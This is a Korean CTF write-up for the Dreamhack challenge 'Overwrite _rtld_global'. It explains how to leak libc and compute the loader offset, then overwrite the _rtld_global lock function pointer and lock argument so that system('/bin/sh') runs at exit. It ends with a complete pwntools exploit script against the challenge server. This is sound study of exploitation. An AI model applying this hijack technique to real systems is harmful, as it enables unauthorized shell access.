security/포너블 - dreamhack

[Dreamhack Wargame] Overwrite _rtld_global

민사민서 2023. 6. 21. 22:42

코드는 간단하다

stdout@@GLIBC_2.2.5 에 담긴 값을 출력해주고 (= _IO_2_1_stdout_ , 라이브러리에 위치)

원하는 주소에 8 byte를 반복적으로 쓸 수 있다

shell 실행시켜주는 함수는 딱히 보이지 않는다

배경지식

1. 라이브러리와 로더가 맵핑된 주소의 간격은 일정하다. 디버깅을 통해 offset 구해놓을 수 있다

    0x7fac45f35000     0x7fac4611c000 r-xp   1e7000      0 /lib/x86_64-linux-gnu/libc-2.27.so
~~~
    0x7fac46326000     0x7fac4634d000 r-xp    27000      0 /lib/x86_64-linux-gnu/ld-2.27.so
~~~

- ld_base - libc_base = 0x3f1000 (원격 서버 환경의 ow_rtld 바이너리에서)

 

2. Dockerfile로 도커 이미지 생성 시 현재 context에 ld파일/libc파일이 존재하면 해당 이미지로 구현한 도커 컨테이너 내부의 default 로더 파일/라이브러리 파일로 해당 파일들을 사용한다

minseo@ubuntu:~/Desktop/Dreamhack/pwn_wargames/overwrite_rtl_global$ md5sum ld-2.27.so 
ecedcc8d1cac4f344f2e2d0564ff67ab  ld-2.27.so
root@91f110b2f467:/home/ow_rtld$ md5sum /lib64/ld-linux-x86-64.so.2 
ecedcc8d1cac4f344f2e2d0564ff67ab  /lib64/ld-linux-x86-64.so.2

- (가상 환경에서) 바이너리에 로드되는 라이브러리 파일과 호스트 환경의 라이브러리 파일의 md5 값 같음

minseo@ubuntu:~/Desktop/Dreamhack/pwn_wargames/overwrite_rtl_global$ md5sum ./libc-2.27.so 
50390b2ae8aaa73c47745040f54e602f  ./libc-2.27.so
root@91f110b2f467:/home/ow_rtld$ md5sum /lib/x86_64-linux-gnu/libc-2.27.so 
50390b2ae8aaa73c47745040f54e602f  /lib/x86_64-linux-gnu/libc-2.27.so

- (가상 환경에서) 바이너리에 로드되는 로더 파일과 호스트 환경의 로더 파일의 md5 값 같음

=> offset 동일하므로 원격 서버와 동일한 환경에서 분석 가능!

 

3. main 함수 에필로그 후 코드 흐름: main함수 종료 -> __libc_start_main로 리턴 ->__libc_start_main에서  __GI_exit 호출 -> __GI_exit 내부에서 __run_exit_handlers 호출 -> _dl_fini 호출 -> _dl_fini 내부에서 __rtld_lock_recursive (GL(dl_load_lock));  발생

 

_rtld_global 구조체의 멤버 변수인 __rtld_lock_recursive (함수 포인터)
_rtld_global 구조체의 멤버 변수인 _dl_load_lock (구조체)

 

** Glibc 2.34 이전 버전에서만 통함, _rtld_global 구조체 영역에는 읽기 / 쓰기 권한 존재

=> 이 둘을 overwrite하면 system("/bin/sh") 호출할 수 있다 / one-shot gadget 사용 가능하다

 

풀이

- 디버거에서 info var _IO_2_1_stdout_ / vmmap 이용해 _IO_2_1_stdout_의 libc offset 구한다 = 0x3ec760

// libc.symbols['_IO_2_1_stdout_'] 이렇게 구해도 됨

 

- 라이브러리 상세 버전 확인 후 (glibc 2.27-3ubuntu1) 해당 버전의 libc6-dbg 패키지 다운로드

root@91f110b2f467:/home/ow_rtld$ /lib/x86_64-linux-gnu/libc-2.27.so 
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.

$ wget http://launchpadlibrarian.net/365856914/libc6-dbg_2.27-3ubuntu1_amd64.deb

 

- usr/lib/debug/lib/x86_64-linux-gnu/ld-2.27.so 분석하여 _rtld_global 구조체의 두 멤버 offset을 구한다

pwndbg> p &_rtld_global._dl_load_lock
$1 = (__rtld_lock_recursive_t *) 0x228968 <_rtld_local+2312>
pwndbg> p &_rtld_global._dl_rtld_lock_recursive
$2 = (void (**)(void *)) 0x228f60 <_rtld_local+3840>

// ld_base로부터 0x228968 , _rtld_global 구조체로부터는 2312 만큼 떨어져있

 

- system 함수의 offset 구한다

minseo@ubuntu:~/Desktop/Dreamhack/pwn_wargames/overwrite_rtl_global$ nm -D ./libc-2.27.so | grep system
000000000004f440 T __libc_system@@GLIBC_PRIVATE
0000000000159e20 T svcerr_systemerr@@GLIBC_2.2.5
000000000004f440 W system@@GLIBC_2.2.5

// 디버거를 이용하거나, libc.symbols['system'] 으로 구해도 됨

 

cf) 문자열의 경우

minseo@ubuntu:~/Desktop/Dreamhack/pwn_wargames/overwrite_rtl_global$ strings -a -t x ./libc-2.27.so | grep /bin/sh
 1b3e9a /bin/sh

혹은 next(libc.search(b'/bin/sh')) , list(libc.search(b'/bin/sh'))[0]

 

exploit 코드

from pwn import *

p = remote("host3.dreamhack.games", 15127)

libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")

p.recvuntil("stdout: ")
stdout = int(p.recvline()[:-1],16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_'] # 0x3ec760\
ld_base = libc_base + 0x3f1000

rtld_global = ld_base + ld.symbols['_rtld_global']
dl_rtld_lock_recursive = rtld_global + 3840 # lb_base + 0x228f60
dl_load_lock = rtld_global + 2312 # lb_base + 0x228968

system = libc_base + libc.symbols['system']

p.sendlineafter("> ", "1")
p.sendlineafter("addr: ", str(dl_rtld_lock_recursive))
p.sendlineafter("data: ", str(system))

p.sendlineafter("> ", "1")
p.sendlineafter("addr: ", str(dl_load_lock))
p.sendlineafter("data: ", str(u64("/bin/sh\x00"))) # scanf("%ld")로 입력받기에 저장되면서 little endian 방식으로 뒤바뀔 것

p.sendlineafter("> ", "2")

p.interactive()